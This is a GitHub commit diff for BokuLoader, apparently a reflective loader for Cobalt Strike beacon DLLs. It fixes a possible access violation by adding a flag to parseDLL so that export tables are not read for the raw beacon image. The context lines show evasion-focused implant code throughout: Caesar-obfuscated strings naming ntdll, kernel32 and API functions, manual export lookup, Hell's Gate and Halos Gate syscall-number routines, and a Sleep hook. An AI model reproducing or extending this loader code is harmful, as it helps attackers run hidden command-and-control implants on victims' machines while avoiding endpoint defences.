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Fixed a potential access violation #31

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Fixed a potential access violation #31

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25 changes: 14 additions & 11 deletions src/BokuLoader.c
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Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ void * BokuLoader()

// Get Raw beacons base address
raw_beacon_dll.dllBase = returnRDI();
parseDLL(&raw_beacon_dll);
parseDLL(&raw_beacon_dll, TRUE);

getApis(&api);

Expand Down Expand Up @@ -302,7 +302,7 @@ void doImportTable(APIS * api, Dll * virtual_beacon_dll, Dll * raw_beacon_dll){
);
while(nullCheck)
{
parseDLL(&dll_import);
parseDLL(&dll_import, FALSE);
EntryAddress = NULL;

if( LookupTableEntry && ((PIMAGE_THUNK_DATA)LookupTableEntry)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
Expand Down Expand Up @@ -540,7 +540,7 @@ void* get_virtual_Hook_address(Dll * raw_beacon_dll, Dll * virtual_beacon_dll, v
return virtual_hook_address;
}

void parseDLL(Dll * dll){
void parseDLL(Dll * dll, BOOL isImg){
dll->NewExeHeader = getNewExeHeader(dll->dllBase);
dll->size = getDllSize(dll->NewExeHeader);
dll->SizeOfHeaders = getDllSizeOfHeaders(dll->NewExeHeader);
Expand All @@ -549,10 +549,13 @@ void parseDLL(Dll * dll){
dll->NumberOfSections = getNumberOfSections(dll->NewExeHeader);
dll->Export.Directory = getExportDirectory(dll->dllBase);
dll->Export.DirectorySize = getExportDirectorySize(dll->dllBase);
dll->Export.AddressTable = getExportAddressTable(dll->dllBase, dll->Export.Directory);
dll->Export.NameTable = getExportNameTable(dll->dllBase, dll->Export.Directory);
dll->Export.OrdinalTable = getExportOrdinalTable(dll->dllBase, dll->Export.Directory);
dll->Export.NumberOfNames = getNumberOfNames(dll->Export.Directory);
if (!isImg)
{
dll->Export.AddressTable = getExportAddressTable(dll->dllBase, dll->Export.Directory);
dll->Export.NameTable = getExportNameTable(dll->dllBase, dll->Export.Directory);
dll->Export.OrdinalTable = getExportOrdinalTable(dll->dllBase, dll->Export.Directory);
dll->Export.NumberOfNames = getNumberOfNames(dll->Export.Directory);
}
}

void getApis(APIS * api){
Expand All @@ -562,14 +565,14 @@ void getApis(APIS * api){
unsigned char s_ntdll[] = {0x82,0x68,0x58,0x80,0x60,0x42,0x58,0x80,0x80,0x00};
basicCaesar_Decrypt(9, s_ntdll, 513556);
ntdll.dllBase = getDllBase((char *)s_ntdll);
parseDLL(&ntdll);
parseDLL(&ntdll, FALSE);

// Get Export Directory and Export Tables for Kernel32.dll
// Original String: kERneL32.dLl // String Length: 12 // Caesar Chiper Key: 1 // Chiper String: lFSofM43/eMm
unsigned char s_k32[] = {0x6c,0x46,0x53,0x6f,0x66,0x4d,0x34,0x33,0x2f,0x65,0x4d,0x6d,0x01};
basicCaesar_Decrypt(13, s_k32, 1);
k32.dllBase = getDllBase((char *)s_k32);
parseDLL(&k32);
parseDLL(&k32, FALSE);

unsigned char kstr1[] = {0x36,0x59,0x4b,0x4e,0x36,0x53,0x4c,0x5c,0x4b,0x5c,0x63,0x2b,0x00};
basicCaesar_Decrypt(12, kstr1, 234);
Expand Down Expand Up @@ -679,7 +682,7 @@ void * xGetProcAddress(void * symbolStr, Dll * dll) {
unsigned char s_ntdll[] = {0x82,0x68,0x58,0x80,0x60,0x42,0x58,0x80,0x80,0x00};
basicCaesar_Decrypt(9, s_ntdll, 513556);
ntdll.dllBase = getDllBase((char *)s_ntdll);
parseDLL(&ntdll);
parseDLL(&ntdll, FALSE);
char str_LdrGetProcedureAddress[] = {0x57,0x6f,0x7d,0x52,0x70,0x7f,0x5b,0x7d,0x7a,0x6e,0x70,0x6f,0x80,0x7d,0x70,0x4c,0x6f,0x6f,0x7d,0x70,0x7e,0x7e,0};
basicCaesar_Decrypt(22,str_LdrGetProcedureAddress,11);
api.LdrGetProcedureAddress = getSymbolAddress(str_LdrGetProcedureAddress, 23, ntdll.dllBase, ntdll.Export.AddressTable, ntdll.Export.NameTable, ntdll.Export.OrdinalTable, ntdll.Export.NumberOfNames);
Expand Down Expand Up @@ -758,7 +761,7 @@ void Sleep_Hook(DWORD dwMilliseconds){
unsigned char s_ntdll[] = {0x82,0x68,0x58,0x80,0x60,0x42,0x58,0x80,0x80,0x00};
basicCaesar_Decrypt(9, s_ntdll, 513556);
ntdll.dllBase = getDllBase((char *)s_ntdll);
parseDLL(&ntdll);
parseDLL(&ntdll, FALSE);

char s_NtDelayExecution[] = {'N','t','D','e','l','a','y','E','x','e','c','u','t','i','o','n',0};
int i_NtDelayExecution = 16;
Expand Down
2 changes: 1 addition & 1 deletion src/BokuLoader.h
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Original file line number Diff line number Diff line change
Expand Up @@ -314,7 +314,7 @@ void HellDescent(void);
unsigned long halosGateDown(void * ntdllApiAddr, unsigned long index);
unsigned long halosGateUp(void * ntdllApiAddr, unsigned long index);
unsigned long getSyscallNumber(void * functionAddress);
void parseDLL(Dll * dll);
void parseDLL(Dll * dll, BOOL isImg);
SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed );
SIZE_T StringLengthA(LPCSTR String);

Expand Down